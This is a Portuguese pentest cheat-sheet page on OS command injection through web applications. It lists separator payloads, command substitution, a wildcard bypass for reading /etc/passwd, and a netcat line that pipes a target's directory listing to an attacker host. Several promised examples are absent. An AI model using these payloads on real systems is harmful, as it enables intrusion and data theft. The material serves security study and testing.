Command Injection

Assim como vários outros tipos de injections, este também executa comandos porém diretamente no SO através de uma aplicação web.

Inserindo Comandos

Quando a aplicação web nos permite inserir alguma string e este vira um comando no SO, podemos adicionar um dos caracteres ;, |, ||, &, &&, %0a, \n e 0x0a (esse dois último servem para dar uma quebra de linha) para inserir comandos arbitrários. Por exemplo:

pwd ; ls
pwd | ls
pwd || ls
pwd & ls
pwd && ls
pwd %0a ls
pwd \n ls
pwd 0x0a ls

Deixando esse ataque um pouco mais avançado, podemos canalizar a saída para nosso host através do netcat.

# Atacante
nc -vlp <port>

# Alvo
; ls -la | nc <ip_hacker> <port>

Podemos também inserir comandos sem precisar dividí-lo em vários comandos. Para isso use um dos exemplos abaixo:

`<command>`
$(<command>)

# Os dois comandos abaixo perdem a funcionalidade quando tem um por exemplo um "echo" antes
'<command>'
"<command>"

# Atribuindo valor a variável
MYVAR=MyValue <command>

Há também como codificar em base64 e executar

OBS.: Caso não queira executar os dois comandos, escreva tudo em uma só linha, irá dar um erro de sintaxe, porém irá conseguir executar os comandos, exemplo:

Bypass em Qualquer Caractere Alfanumérico

Podemos substituir qualquer caractere alfanumérico substituindo por ?. Por exemplo, o comando cat /etc/passwd ficará cat /??c/p?ss??, /bin/bash ficará /??n/ba??. Coloque a ? onde quiser, desde que não coincida com dois ou mais arquivos compatíveis com a mesma expressão regular.

Bypass com Espaço

Algumas aplicações podem bloquear o caractere de espaço mas podemos contornar isso utilizando o IFS (Internal Field Separator), que é uma variável de ambiente de espaço

Também podemos fazer de outra maneira, utilizando no mínimo dois comandos, como nos exemplos abaixo:

O Linux também permite chamar um determinado comando a passar o nome do arquivo para ele, como nos exemplos abaixo

Criando variáveis que contém partes de um comando e depois executando, também pode ser uma boa maneira de executar códigos

Commix

Commix é uma ferramenta que gera uma shell, baseando em uma URL que permite inserir comandos no SO. Utilize o comando abaixo para ter um shell do servidor alvo:

Observe que o parâmetro ip está com o valor INJECTION HERE, pois é neste campo que o Commix irá utilizar para inserir o payload para fazer a shell remota.

Sites

Last updated

Was this helpful?